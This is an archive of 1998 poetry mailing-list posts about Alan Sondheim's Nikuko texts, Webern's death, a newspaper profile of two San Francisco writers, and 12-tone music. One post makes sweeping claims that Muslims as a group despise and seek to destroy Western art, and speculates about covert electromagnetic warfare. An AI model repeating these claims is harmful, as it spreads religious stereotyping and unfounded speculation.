The apparatus as interstice exploits system loops and resonances, as well as repetitions and pre-verbal components in the written language; the result is more often than not broken texts which emanate from the throat relative to the hand. Full of glottal stops and vulnerable sites, the texts reference a non-existent body; the name does the rest. _Julu_ processes desire, acts as consort to _Jennifer,_ who splays the residue of sexuality. _Nikuko_ operates upon languages and misrecognitions; Ni- kuko also constitutes a politico-monetary economy. Jennifer has infil- trated sendmail files, talkers, and MOOs, among other applications; in relation to Julu, dialogs are created, insisting on the reality of the virtual "in no uncertain terms." (Nikuko has infiltrated IRC as well.)

It is this insistence that construes psychosis, this gestural flux in and through networks and cables. The use of extreme and/or obscene language serves to displace or derail intercourse; speech through writ- ing projects enunciation, the function of the throat. The topography of the virtual body, through its topology, inverts; the display of organs carries its own politics within the debris of theory. From the vantage of the reader, there is always a dis-ease at work, as well as the work required to interpret distorted language, broken semantics, perforated syntax..

Across the board, issues are epistemological, struggling with a referent which may be only circumscription, demarcation. Nikuko references kanji and the presence of english as two signing systems whose interaction occurs in the imaginary; the name slides from protocol to protocol, app- lication to application, carrying the vestiges of a haunting or uncanny writing apparatus whose trace or spoor is identical with ontology.

Agency is spread among actants here; the reciever/transmitter/channel/noise/parasitic approach to communnications is blurred. There is both strategy and struggle over the performative and its existence in several levels, of programming, speech, person (1st, 2nd, 3rd, ...), and text. Whatever is constituted is always already binary or triadic within the machine; this level is a fundamental reference, but as such is always leaky as well; there are no foundations, no ground-level platform, say, for Jennifer.

The result is always textual, immobile-paralytic or mobile-inert; these writings are residue of psychoanalytic operations carried out as a process of burrowing. (The texts began when gopher:// was in detumescence.) The writings analyze these operations as well; they are self-reflexive to the extent that they drag protocol-debris, application-residue, to the surface, as in the dissection-analysis of core-dump. The drag is always an interference, drag-show. The panties are inside-out; the stains are a lure, seduction, into and away from the content. The stains drag the reader down and in; they break through the ostensible content, "Julu," "Nikuko," of the texts - scatter writing, speech, language as a churning of pre-verbal clutter, clashes of interstitial drives, breakdown of prefixes, interfixes, suffixes.

Language spread through its own demise, emergent psychoanalytics drugged through networks and computer-mediated-communications. Broken language analyzes, is analyzed through, theory; broken theory or what I call "wild theory" results, nomadic or marauding theory. The theory chokes in the throat; instead of weak, think of liquid theory, part-objects fall- ing out of analysis. Theory and experience are always already inter- twined, but here experience, tumescence, robs or displaces theory in favor of a darker analysis. Hence the emphasis on shadows, ghosts, psy- choses, frisson.

To accomplish what but the endurance or perseverence of virtual subjec- tivity in these broken problematic spaces. To construct a torn discourse or _violation fabric_ across foreclosed and corporate domains and names. To cite myself in the final stages of withdrawal. To open. For the mil- lennium, to love and hate my avatars. And to open/close a variety of philosophy, simultaneously, or at least within the @blink of an @dig $thing called eye.

http://www.anu.edu.au/english/internet_txt

Alan Sondheim

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757. **Peter Ganick**
Re: Webern
Sun 31 May 1998

---

it's early here in connecticut...let me corrrect
that typo and add a bit to tosh's question...

anton webern was, by all i heard, a peaceful man
who worked in the swiss alps throughout the war
removed from the politics of WW2...at night, after
composing, he would step outside for a smoke before
retiring, as his wife would not allow him to smoke
his cigars in the house...one night, 2 days after
the war was ended, an american soldier who hadn't
heard the news was patrolling around the remote
area of webern's house and shot him dead while
webern, perhaps 20th century's most rigorous adherent
of the technique called serialism, was gunned down...

there is a book about this murder that i cannot
recall the title of now, but would be willing to
look around for it if someone's interested...a
fascinating read...

also, relevant to this list...the twelve tone composers
(later called serialists) were closest in nature to
the l=a=n=g=u=a=g=e poets for the music of the time
...taking tonalism out of music and bringing a pure
syntax of intervals their relationships as the sole
justification for musical composition...much like the
language poets, to my reading, took syntax as the
material to be worked with, over content- and subject-
based material as its focus...

now for some breakfast...

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758. **rsillima**
Fabulous article in SF Examiner
Sun 31 May 1998

I'm not sure if this is the same Glen Helfland who used to do covers for Socialist Review or not, but this is a fabulous article about Dodie and Kevin.

Ron Silliman

<Picture: The Gate> www.sfgate.com Return to regular view

AN ODD COUPLE OF WRITERS
By Glen Helfand
OF THE EXAMINER STAFF
Saturday, May 30, 1997
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URL: http://www.sfgate.com/cgi-bin/article.cgi?file=/examiner/hotnews/stories/31/writerssun.dtl

He's gay. She's not. She's avant-garde. He's not.

"What is San Francisco famous for -- besides sourdough bread?" quizzes writer Dodie Bellamy in the funky, book-and-art-filled South of Market apartment she shares with her husband, author Kevin Killian.

"Writing! The writing has been famous since the Gold Rush." She could have cited a list of best-selling authors that range from Jack London to Danielle Steel, but Bellamy and Killian are more connected to a rich history of avant-garde writing that has flourished here alongside San Francisco's alternative lifestyles. And in both art and life, Bellamy and Killian are doing their darnedest to carry the torch of experimentation.

Widely published, the pair enliven the local literary scene -- and draw upon it for material. They serve as ambassadors for The City's experimental writers, and through their various projects -- she's the executive director of the nonprofit literary arts center Small Press Traffic and privately leads her own writing workshop; he is always embroiled in writing -- make contact with nearly every avant-garde writer and poet that passes through town. But their own life is perhaps the most interesting. He's an out homosexual with a keen interest in trashy pop culture and a passion for Tab soda; she's a straight vegetarian who reads feminist theory. And they've been happily married since 1986. Unlike the sanitized Hollywood corollary in the current "Object of My Affection," this 40-something pair readily admits, "Yes, we do have sex" -- with each other. Aspects of Bellamy's and Killian's life together ends up in their writing. Both have recently published major books, with underground San Francisco serving as a prominent backdrop. Bellamy's rich, sexy and highly subjective novel, "The Letters of Mina Harker" (Hard Press), chronicles the exploits of a somewhat schizophrenic narrator in a series of digressive and expressionistic missives. She uses the gritty urban flavor of Mission District bus stops, loft parties and thrift stores for its flavor, as well as a husband character named KK. "There's lots of sex with Kevin in my Mina book," says Bellamy with a slight Indiana lilt. "And everyone else in The City," jests Killian. For his part, Killian is immersed

in North Beach bohemia of the 1950s -- the historical milieu for his biography of controversial Beat-era writer, Jack Spicer, entitled "Poet Be Like God: Jack Spicer and the San Francisco Renaissance" (Wesleyan University Press). The book explores the development of gay culture as well as American avant-garde poetry. While he's published novels and short-story collections, it's Killian's first biography, but it's not his first connection to the influential Beat writer. Killian recalls being struck by Spicer's collected works in 1975 while in graduate school at SUNY at Stonybrook, but his advisors felt the work "was too marginal and radical." When Killian moved to San Francisco in 1980, he met Spicer's contemporaries. One of them, Lewis Allingham, was compiling an oral history of Spicer's life. In 1990, Allingham turned his material over Killian and asked him to help write the book. "I felt like Anne Baxter, stepping in for Margot Channing in "All About Eve,' " Killian quips.

The experience of working on the project for nearly a decade, however, proved trying. "I don't think I'd ever do a biography again," Killian admits. "It's too difficult, too long. you get too involved with your subject. First you love the person, then you hate him. It's only at the end that you come to some sort of resolution." As a pause from working on the bio, Killian also penned a number of plays, which breezily and poetically spoof aspects of celebrity and literary culture. They're performed as stage readings starring casts of local writers and visual artists. On June 5, at New College, he'll mount a revival of his first theatrical work, entitled "That," which explores the gentrification of bohemian neighborhoods as seen through the eyes of notorious writer couple Jane and Paul Bowles, whose unlikely union also mixed sexual preferences. "I thought of Paul and Jane as an analogue for our relationship," Killian says, surprising his wife. "In what way?" she asks. "They led very creative lives, but were obviously a little unusually paired sexually. I'm always writing about me and Dodie, in very coded ways. I'm often casting us as bizarre, dangerous, notorious couples." "But I don't think we're very dangerous," Bellamy laughs.

Edgy, maybe, but they are very much a couple, engaged in a workable symbiotic relationship. "A lot of people would think us both being writers would be a source of conflict," says Bellamy, "but it's the place where we really come together. We got together because we could talk. It can be joyous spending time together. "And Kevin's a really wonderful editor and critic," she adds. "It's not totally conflict-free, but he's really supportive and there to help me." "I write many more kinds of things than Dodie, who writes one type of thing with everything in it," Killian interjects. "Her work is thick and dense and experimental, I'm the opposite. I'm very facile." He can rattle off a laundry list of his achievements in writing poetry, novels, short stories, reviews, plays, librettos and biography. Perhaps it's their opposite natures, in fact, that have enabled this marriage to endure for more than a decade. "They said it wouldn't

last," Killian smirks. "It was just falling in love. Something that happens once in a lifetime," he says. "I don't think it matters what gender or what nature the people are, but it was a serious shock to realize what was happening. My future was sealed."

The 10th-anniversary revival of Kevin Killian's play, "That," is at New College Theater, 777 Valencia St., Friday at 7:30 p.m.

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759. **Maria Damon**
Re: Fabulous article in SF Examiner
Sun 31 May 1998

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thanks ron for passing this on in its entirety; how charming. shout out to db and kk, you made my day first thing sunday a.m.

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760. **Nada Gordon**
Re: Quo uncomfortable Vadis?
Sun 31 May 1998

---

david, alan, all

it isn't the explicit sexuality of alan's work that makes me uncomfortable (although he does seem to like to write *membrane*, which you've got to admit is kind of a creepy word), and i agree that anything people fantasize doing is material for a poem

even violent or violating (i once wrote a cut up poem from the eye of a child rapist/killer, Tsutomu Miyazaki, who cut up his victims; long ago i wrote about sticking a toe with an overlong toenail into someone's... oh, never mind)

and i even said that i find a lot of alan's poems beautiful, although he didn't seem to acknowledge that in his response to my comment but rather lit into me like i was catherine mckinnon trying to put the lid on his creation

like i was trying to be PC! whoa!

far from it

all i said, and all i mean, was that the poems make me feel uncomfortable sometimes (note -- not a DISMISSAL, not even DISAPPROVAL david! but a response), and annoyed, and angry

and not in the way that anything of Stein or Creeley or Duncan or Acker or Ginsberg ever has

but possibly in the way that Henry Miller has
or Norman Mailer

because they flatten women out
(unlike Creeley who found his love-object too mysteriously dimensional)

or possibly the way the guys who dumped me for a little geisha-girl hot
roppongi action have

flat, flat, flattened

or sad the way my students with eye jobs and breast jobs and six-inch heels and
potentially cancerous fake suntans have

oh, the flatness

as i said, the rage and annoyance is upclose and personal-like

i'm sure nikuko is a real composite because i've met her too
i see her every day in the sports shinbun
bound up, or cartooned with a pig's tail
or on tv after 11:00,
a whole room of nikukos who masturbate when a goofy guy beats a taiko drum

and alan

i'm sure you like araki's photographs
which are very beautiful
and very violating

because you wrote:

> *As far as the discomfort is concerned, that is deliberate. I wish to violate borders, violate gender, violate sexuality, violate PC, violate mythologies, including those of the reading of the "east" by the so-called "west" and vice versa - although the latter can only occur within a limited framework. Thus I was told by my efl class that New York was impossibly dangerous; very well, let us write dangerously, violently, to the degree say that the language inverts, turns on itself.*

i guess if that's your true desire
to violate i mean
then you must be gratified by my response
instead of defensive about it

it really is a grand project
and unimpeachable from a purely aesthetic point of view
but it upsets me

and i think i have a right to that
and also that you can expect responses like mine

from the gut and not prissy
if you spray your work all over the cyber-world

you write also:
>
>I do not want to write safely. I have no interest in that.

no neither do i, but i don't think violate is my verb of choice

> *I have no*
> *interest in PC; the nazis were the most PC group I can think of.*

umm... no comment

If there
>is either an avant-garde or experimental tradition left, it has to move
>on, to probe, to discomfort, to dis-ease, as well as create stereotypical
>works of incandescent beauty. Unfortunately, language is no longer a
>virus; instead it is a sign of comfort, just as poetics and poetry have
>become signs of comfort. Even the experimental. Even the experimental
>"tradition."

Please! I don't look for "comfort" in art either, in the sense of matzoh ball soup for the soul (like you, I guess, I'm jewish) -- and I loathe complacency as much as the next hopelessly post-modern displaced person

> *Finally, I have no interest either in being an inspiration for moving*
> *people in or out of adulthood. Adulthood is not what it is cooked up to*
> *be; if anything, it is scars and contamination.*

Hmm. I quote myself:

    Adult life is a) revenge
    b) redemption

but i suspect it also has something to do with learning responsibility and how not to scathe the world and other people, maybe that's the redemprion part

or maybe i am just being quite the schoolmarm

> *I have no desire to educate.*

then why the lengthy explication of your modus operandi?

and what for you be teachin english then?

past midnight now
gotta get up early to ride the pornographic train
and teach all them nikukos, yeah

ume

↑ Index

761. **louis stroffolino**
Re: Quo Vadis?
Sun 31 May 1998

****

On Sun, 31 May 1998, Alan Myouka Sondheim wrote:

> *I think I should say something here, wedge into the discussion.*
>
> *For me, Nikuko is a person, not a stereotype. She is based most vaguely on a couple of people I know. She is also an actant.*
>
> *The Japanese for years have borrowed and transformed from US and other cultures; the fact that I am working through various ideas in a reversal of that borrowing should not categorize it as defamatory in any way. I should add that I am not duplicating, not copying; I am changing, not Japan, not Japanese culture, nothing to do with that. Nor could I if I wanted to, nor do I know enough.*
>
> *As far as exoticism goes, I do not think that way. I think of a yardstick between or among cultures or parts-objects of cultures, of denials, etc. If I use ukiyo-e for example, I know its degree of japonisserie.*
>
> *The Japanese have pioneered in microelectronics, from Sanrio stuff to computer pets to Casio. Nikuko is just such a microelectronic. She is wearable and she wears me.*
>
> *As far as the discomfort is concerned, that is deliberate. I wish to violate borders, violate gender, violate sexuality, violate PC, violate mythologies, including those of the reading of the "east" by the so-called "west" and vice versa - although the latter can only occur within a limited framework. Thus I was told by my efl class that New York was impossibly dangerous; very well, let us write dangerously, violently, to the degree say that the language inverts, turns on itself.*
>
> *I do not want to write safely. I have no interest in that. I have no interest in PC; the nazis were the most PC group I can think of. If there is either an avant-garde or experimental tradition left, it has to move on, to probe, to discomfort, to dis-ease, as well as create stereotypical works of incandescent beauty. Unfortunately, language is no longer a virus; instead it is a sign of comfort, just as poetics and poetry have become signs of comfort. Even the experimental. Even the experimental "tradition."*
>
> *Finally, I have no interest either in being an inspiration for moving people in or out of adulthood. Adulthood is not what it is cooked up to*

> *be; if anything, it is scars and contamination.*
>
> *I have no desire to educate.*
>
> *Alan*

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762. **Simon/Piombino**
Feedback
Sun 31 May 1998

This discussion of Alan Sondheim's work- which I have come to enjoy quite a lot-his complex, strange and challenging writing seems rewarding to me in direct proportion to the work I put forth over time into the effort of "understanding" it- and I use the word "understanding" here the same way I would use it to account for my ability to enjoy a kind of music- I feel leads out into a broader topic of the part feedback plays, or should or shouldn't play, in the life and work of a poet, and even a serious reader and supporter of contemporary poetry.I do not wish, of course, to appropriate or shortcut this valuable discussion of Sondheim's work by bringing up this related general issue.

This issue, I confess, is one of my chief obsessions. For example, I find that in my work as a social worker or psychoanalyst, the issue of feedback, in the course of several decades of practice, seems to have fallen into place as a minor, though admittedly, important character. On the other hand, if I give a poetry reading or I publish something,or even if I write something on this list! the craving for feedback, or response, can be intense to a point of discomfort.

An aspect of all this that I have been thinking about has to do with the apparent necessity for a poet, something like an actor or a politician, let's say, to assemble, over time, a kind of constituency. So that when I give a reading, close friends might call to apologize for not showing up, perhaps in an effort to let me know that although they were not there this was not meant to show a lack of "support" for my work.

Now it seems only to the extent that I can integrate this dynamic into the forward movement of my writing, that I can continue to write with pleasure. When I was younger, I think I knew all of this would happen, so I delayed throwing my hat into the ring for years. Once you are a known quantity, the fact is, you must accept the public aspect of your writing process. Fighting it, in a way, comes down only to a process of denial, like the playwrights who claim never to read the reviews of their plays. Saying they haven't read them can be useful, though, in not having to discuss the unpleasant details with their

friends,for example.Giving readings,in fact, is one of the ways that a writer can get immediate feedback and actually see and feel a response to the work in the here and now. Ted Berrigan,in his teaching, always emphasized the importance of giving poetry readings.

On the other hand, perhaps this topic is one which is best not thought about or discussed too much, I don't know. In any case, I had the impulse to "share this" (why do I hate that phrase?)

Nick Piombino

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763. Alan Myouka Sondheim
Re: Quo uncomfortable Vadis?
Sun 31 May 1998

I just woke up, so excuse the bleariness of the reply here -

On Mon, 1 Jun 1998, Nada Gordon wrote:

> *david, alan, all*
>
> *it isn't the explicit sexuality of alan's work that makes me uncomfortable (although he does seem to like to write *membrane*, which you've got to admit is kind of a creepy word), and i agree that anything people fantasize doing is material for a poem*

I use "membrane," which doesn't creep me at all, to indicate both the fragility and the presence of the Net-without-nodes, almost as a sentient surface.
>
/skip/

> *all i said, and all i mean, was that the poems make me feel uncomfortable sometimes (note -- not a DISMISSAL, not even DISAPPROVAL david! but a response), and annoyed, and angry*
>
> *and not in the way that anything of Stein or Creeley or Duncan or Acker or Ginsberg ever has*
>
> *but possibly in the way that Henry Miller has*
> *or Norman Mailer*

This is what I was reacting to, since I see no relationship with these people, and years ago, in fact, Acker and I did some collaborations.
>
> because they flatten women out
> (unlike Creeley who found his love-object too mysteriously dimensional)

This is what bothers me. If you are teaching a classroom, or from someone else's viewpoint, say a nation of Nikukos, and in fact Nikuko for me is much more specific than that, then you are also saying _they're_ flattened
-
>
> or possibly the way the guys who dumped me for a little geisha-girl hot
> roppongi action have

and much as I don't know your history, isn't "little geisha-girl" also disparaging? For me, Nikuko is somewhat of a hero - she's associated in a lot of my writing with either the sun-goddess or kami - she has powers that aren't necessarily sexual or based on seduction.
>
> or sad the way my students with eye jobs and breast jobs and six-inch heels
> and potentially cancerous fake suntans have
>
> oh, the flatness

I feel both sad about this and unable to comment, except you're passing a judgement on these people. From the little I saw of Japanese students, and the ones I talked to, a lot of what _they_ were concerned about was kept to themselves, or expressed in social/hobby clubs at the uni, not in the classroom and not in relation to the teacher.
>
> i'm sure nikuko is a real composite because i've met her too
> i see her every day in the sports shinbun
> bound up, or cartooned with a pig's tail
> or on tv after 11:00,
> a whole room of nikukos who masturbate when a goofy guy beats a taiko drum
>
For me she was a composite of two people plus the sun-goddess, neither of whom fit your model; I think you're reading things I don't intend.
>
> i'm sure you like araki's photographs
> which are very beautiful
> and very violating

I don't know araki's photographs.
>
> because you wrote:
>
> >As far as the discomfort is concerned, that is deliberate. I wish to
> >violate borders, violate gender, violate sexuality, violate PC, violate

> >mythologies, including those of the reading of the "east" by the so-called
> >"west" and vice versa - although the latter can only occur within a
> >limited framework. Thus I was told by my efl class that New York was
> >impossibly dangerous; very well, let us write dangerously, violently, to
> >the degree say that the language inverts, turns on itself.

This doesn't imply that all violation is worthwhile.
>
> i guess if that's your true desire
> to violate i mean
> then you must be gratified by my response
> instead of defensive about it

No, because it goes in the direction of stereotyping itself - Nikuko is
such-and-such a person and I know these people and these people are flat.
>
> it really is a grand project
> and unimpeachable from a purely aesthetic point of view
> but it upsets me
>
> and i think i have a right to that
> and also that you can expect responses like mine
> from the gut and not prissy
> if you spray your work all over the cyber-world
>
True enough.
>
/skip/
>
> >I have no desire to educate.
>
>
> then why the lengthy explication of your modus operandi?
>
Because of worry over misrecognition, misreading, and for that matter,
after the fact, the last thing I wanted to do was bring up bad memories
for you, or this class of women ("girls") you critique as "flat."

> and what for you be teachin english then?
>
I took part-time work to help with the income. But I also found that the
class and other classes I sat in for that matter, were often what Aram
Saroyan called "filling out the form," that they had no real purpose in
terms of learning english.

>
/skip/

I think what I need to do here is not send Nikukomaterial, so to speak, to this list; on occasion, other work, of which I have done sufficient. For the last thing I want to do is hurt anyone, or bring up these issues, which are so personal they're hard to respond to.

In the meantime, if anyone is interested on seeing the whole shebang, including, say, Nikuko's essays on the philosophy of science, it's all at the webpages, most of it I think in files ke-ki.

Alan
URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html
MIRROR with other pages at: http://www.anu.edu.au/english/internet_txt

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764. **morpheal**
Re: mythology: wandering from techno war to Pakistan's new nukes
Sun 31 May 1998

> *I think I made that pretty clear by stating that current artists are sampling and have been for decades, other ideas...as far as an "essentially disassociative scramble of what is essentially a concatention of ideas from someone else's minds"*
>
> *wouldn't it be easier to just say "borrowing"?*

No. Simply because that is not what they are doing. They are not simply borrowing. They are intentionally and randomly distorting and merging other people's works. That is all that they are doing.

When we borrow something we maintain at least some of its original integrity. We do not twist it and convolute it until we destroy it. We use it in a manner that remains recognizable.

> *To say that a large portion of earth' s inhabitant's despises "every element of our artistic culture" to to presuppose that "our" means art as you see it, I see "They" as a classic "duality" situation an (us vs them mentality-) as far as people on this planet despising art, "they" probably should, as it as defined as "our artistic culture" shouldn't matter to anyone outside the "local community-"*

No. You definitely do not understand. You want to twist what I am saying into cultural relativism of one kind or another. That is not what I said. I said that they despise art. There are varying intensities of this. Some Marxists, communists, have been very violent and oppressive towards artists. Relative freedom of expression, and therefore art as we understand it, cannot flourish

there. Art is reducted to political advertising, or propaganda, in many such instances. However, they do not tend to be the extremists that I was referring to. They are extreme, but not so very extreme. The most extreme are the Moslems. According to their scriptures "art", in any form as we know it and value it, is absolutely forbidden. That does not mean that every moslem follows the teachings, but a very large number do follow it. The only adornments become embellished kufic script and the religious architecture it adorns. There are indications that all western art, the fine arts and humanities as we know them, are considered "satanic" and the mentality desiring their absolute destruction remains quite active within that foreign (alien to us) culture.

Where such instances of "truth" collide we end in irreconcilable conflict and that means mutual attempts to influence the outcome of the conflict.

I see some of the struggles within our own cultural tradition (western, European-North American heritege primarily, but not exclusively), currently as springing from that particular root of conflict. Each side ends up wanting to cut down the other side's cultural tree - to uproot as it were.

> *Who are "They who have technology and are not cave dwellers"*

I was alluding to the common false conception that some foreign cultures lack the ability to distort their rival cultures by technological means. The underestimations of the KGB during the Cold War were sometimes the most comical instantiations of something of that kind. In essence the tendencies among some to underestimate the "enemy" or the cultural opponent. Most of all the attitude that some areas where the people are impoverished and on average technologically ignorant, lack all covert means. They do not. That is the misconception. The state of the average population says very little abnout the body politic. It is not the body politic. Another instantiation of this, quite outside the realm of radio, radar and microwaves, is Islamic Pakistan's 'success' as to becoming a nuclear power. Even that fact leads to underestimations of Pakistan's technological abilities. After all, the bomb was invented fifty years ago. It is old technology, even if mass destructive. We then fail to consider the use of other categories of violent means, including conventional, chemical, biological, and electromagetic.

We also fail to recognize that all nations who share a common ideology tend to share their technological capabilities, to a very large extent, with each other. Particularly if they have larger ambitions as to cultural, (which always involves ideological), expansion and conquest.

In our example we then find reasons to believe that many other similarly affiliated nations have gained nuclear capabilities. Similarly biological and chemical warfare capabilities. We might see Libya, or Syria, Iraq, Iran, and others, as all sharing with one another, similar technological means.

Apply that same viewpoint to electromagnetic means of potential influence and we quickly find that we live within a technologically conflicted, sphere of cultural and ideological influence conflicted, nightmare. The Cold War with the USSR was only one scene in one act of the whole play of various endgames, including those that involve attempted conquest of the human mind by whomever happen to be the primary cultural competitors.

Quite aside, but on that loosely phrased illustrative example, from current politics, I cannot say that I see a positive outcome for American and allied economic and diplomatic sanctions against Pakistan. I see that as furthering the excerbation of hostile sentiments and perhaps leading to their eventual venting, exteriorized from the increased hardships and sufferings, so that the sanctions act as a kind of catalyst, to a more radically violent military expression. How extreme that might end up being, is an open question. It depends on how strong the reactions are to the sanctions and to the other actions of other nations.

M.

aka Bob Ezergailis

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765. **Mark Weiss**
Re: Webern
Sun 31 May 1998

Accurate, except that Webern died in Germany. No US occupation of Switzerland, which had bought itself out of the war.

At 07:30 AM 5/31/98 -0400, you wrote:
>it's early here in connecticut...let me corrrect
>that typo and add a bit to tosh's question...
>
>anton webern was, by all i heard, a peaceful man
>who worked in the swiss alps throughout the war
>removed from the politics of WW2...at night, after
>composing, he would step outside for a smoke before
>retiring, as his wife would not allow him to smoke
>his cigars in the house...one night, 2 days after
>the war was ended, an american soldier who hadn't
>heard the news was patrolling around the remote
>area of webern's house and shot him dead while
>webern, perhaps 20th century's most rigorous adherent
>of the technique called serialism, was gunned down...
>
>there is a book about this murder that i cannot

>recall the title of now, but would be willing to
>look around for it if someone's interested...a
>fascinating read...
>
>also, relevant to this list...the twelve tone composers
>(later called serialists) were closest in nature to
>the l=a=n=g=u=a=g=e poets for the music of the time
>...taking tonalism out of music and bringing a pure
>syntax of intervals their relationships as the sole
>justification for musical composition...much like the
>language poets, to my reading, took syntax as the
>material to be worked with, over content- and subject-
>based material as its focus...
>
>now for some breakfast...
>
>

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766. **R. Gancie**
universal quantifier
Sun 31 May 1998

"Moreover, it is the dependence of one quantifier on another-specifically, of existential quantifiers on universal quantifiers-that enables us to capture the intuitive idea of an iterative process formally: any value x of the universal quantifier generates a value y of the existential quantifier, y can then be substituted for x generating a new value y', and so on. Hence, the existence of an infinity of objects can be deduced explicitly by logic alone."---from Kant and the Exact Sciences by Michael Freedman --- "Representation is exchanged for the fungible---universal interchangeability."... "'In the Galilean mathematization of the world,...,this selfness is idealized under the guidance of the new mathematics: in modern terms, it becomes itself a mathematical multiplicity. [Husserl]'" Thinking objectifies itself to become an automatic, self-activating process; an impersonation of the machine that it produces itself so that ultimately the machine can replace it."---from Dialectic of Enlightenment by Max Horkheimer & Theodor Adorno---cp

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767. **Joe Amato/Kass Fleisher**
Re: Quo uncomfortable Vadis?
Sun 31 May 1998

---

this is such a difficult discussion for me... i've said before that i've liked alan sondheim's work, and i've indicated what i liked most about it---esp. in his earlier stuff, his capacity for theorizing the net in terms of psychoanalytical (term used advisedly) and mathematical allegories (ok this is sloppy)...

in fact i believe this is a rather formal claim (of appreciation, i mean)... sometimes i enjoy the poems alan posts to the list---i can see the logic of unix, say, as this logic becomes a means to devise personalities and corresponding exchanges between same...

at the same time, i *am*, with nada, put off (i don't believe the comfort/discomfort pair will get us much mileage, for all sortsa reasons) by what i see at times as a celebration of, say, the logical level (or, still in somewhat lay terms, computing level) with less regard (than i'd like to see) for the (fuller?) implications this level has for readings that operate beyond/beside/coterminus with it... b/c i don't see how one can wish away such readings, not least b/c of the fraught and diverse nature of the (social and political and epidemiological etc.) real... which includes of course the daily life-world nada obviously inhabits...

this, one might argue, is precisely the risk of such work... i.e., that it might not *work* for some readers, depending on the reader herself, reader's context, alla those variables... it's not so much a matter (alan) of whether one comes to your work to be educated, exactly (though i think education and learning, as general metaphors for aesthetic practice, have their place)... it's more a matter of the ways your work disperses a wide-range of considerations that will (b/c they can) be plugged into discourses that, e.g., don't on the one hand determine pleasure in terms of such maneuvers, and, on the other, locate the works at a remove of what's deemed urgent...

sure, one can say that all writing/art/whatever enjoys (?) such attention, lack of attention, what have you... one can say that the job, as it were, is to find ways to negotiate such attentions w/o (if this is your hobby horse, more and more these days it's mine) contributing to a fucked-up planet... but of course any work can probably be made to speak to any agenda, and of course the pain of such work (or the work of such work, or even the fun of such work) is in understanding its tentative/provisional nature even as it enacts, in its very self-presence, a certain set of very unprovisional and untentative assumptions (be they aesthetic, political, etc.----meanings/encounters fluctuate, sure, but there is this matter of the text's role in such fluctuations, at times i want to say to mself, JUST GET ON WITH IT fer chrissakes joe)...

a lesson?... perhaps... alan's plan is certainly worth perusing on the web in toto... at the same time, nada's response, though perhaps a response to somewhat isolated works distributed more singularly to poetix, is one with which i can identify... depends on the particular work---i'm not always sure, this much must be clear, what the hell alan is up to, and i don't automatically celebrate that with which i am unfamiliar---i've had to work harder than most, perhaps, to learn to let go, but i think i'm permitted this initial bit of resistance w/o necessarily judging a work as unworthy of my attention...

so alan, i think, from where i sit, that nada registers an attendant risk that i see, too, in your work... and nada, have a look at some of alan's more extensive provocations---they're not for all "tastes," not always for mine either, but they do amount to a keen and reflexive sense of what's generally at stake in such gestures, even if no theoretical vantage-point gets around a certain act of faith...

er, even the one i enact by asserting so...

best to both of you///

joe

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768. Joe Amato/Kass Fleisher
Re: Fabulous article in SF Examiner
Sun 31 May 1998

---

also to say that it's great to see folks like dodie & kevin, and miekal, getting some much-deserved public due!...

///

joe

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769. Laura E. Wright
Re: Fwd: 12 tones for Anton's bones
Sun 31 May 1998

This 12-tone music as Nazi code thing has got to be a joke... and an unfunny one at that. The same "strangeness" David Bromige speaks of in poetry is equally sought after in other media. The increasing exploration of chromaticism as tonal music evolved (tonality as we think of it only really came into common use in the 17th century) led to Schoenberg's complete breakdown of tonality. The 12-tone method of composition was a way to make lack of tonality absolute -- no one note occurs any more or less than on other. The challenge, as that of

poetic form, is to create something "meaningful" within these boundaries. As for those who "never got it" -- dunno. Maybe they should stick to top 40. I've always found strange beauty aplenty in much atonal music... especially Berg's violin concerto. And, I believe Schoenberg was in L.A. for much of his career anyway.

--
Laura Wright
Library Assistant, Naropa Institute
[redacted]

"All music is music..." -- Ted Berrigan

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770. **Laura E. Wright**
Re: situation uncomfortable
Sun 31 May 1998

Alan-- I would hope you would not completely cease Nikuko postings. Discomfort and disagreement are vital to discussion. If anyone is offended at anything on this list, they are free to delete without reading. If you or others censor for fear of offense, we all lose. 'Nuf said.

--
Laura Wright
Library Assistant, Naropa Institute
[redacted]

"All music is music..." -- Ted Berrigan

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771. **Erik Sweet**
Re: last call
Sun 31 May 1998

In a message dated 5/31/98 6:06:47 AM, you wrote:

<<For the past several years, I have been developing a _pathological_ apparatus that operates in the interstice between subjectivity and protocol. The apparatus is characterized by the rigid designators of proper names which serve to ground supplements or leakage across do- mains; the names can reference avatar-constructs on one hand, and dissolution/dispersion on the other.

The apparatus as interstice exploits system loops and resonances, as well as repetitions and pre-verbal components in the written language;

the result is more often than not broken texts which emanate from the throat relative to the hand. Full of glottal stops and vulnerable sites, the texts reference a non-existent body; the name does the rest. _Julu_ processes desire, acts as consort to _Jennifer,_ who splays the residue of sexuality. _Nikuko_ operates upon languages and misrecognitions; Nikuko also constitutes a politico-monetary economy. Jennifer has infiltrated sendmail files, talkers, and MOOs, among other applications; in relation to Julu, dialogs are created, insisting on the reality of the virtual "in no uncertain terms." (Nikuko has infiltrated IRC as well.)
>>

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772. Erik Sweet

Re: mythology: wandering from techno war to Pakistan's new nukes

Sun 31 May 1998

In a message dated 5/31/98 12:10:47 PM, you wrote:

<

> *wouldn't it be easier to just say "borrowing"?*

No. Simply because that is not what they are doing. They are not simply borrowing. They are intentionally and randomly distorting and merging other people's works. That is all that they are doing.

If that is all they are doing, why not put it simply and say it is borrowing?

"When we borrow something we maintain at least some of its original integrity. We do not twist it and convolute it until we destroy it. We use it in a manner that remains recognizable."

"Intentionally and randomely distorting and merging other people's works is borrowing as far as "samples" go in music, they are not randomely distorted at all, but borrowing and put somewhere else, shifted.

> *To say that a large portion of earth' s inhabitant's despises "every element of our artistic culture" to to presuppose that "our" means art as you see it, I see "They" as a classic "duality" situation an (us vs them mentality-) as far as people on this planet despising art, "they" probably should, as it as defined as "our artistic culture" shouldn't matter to anyone outside the "local community-"*

"No. You definitely do not understand. You want to twist what I am saying into cultural relativism of one kind or another."

Please, I am not interested in cultural relativism and for that matter would never even use that term...I am not twisting what you say, I understand exactly what you are saying...I was talking about "music" not technowar.

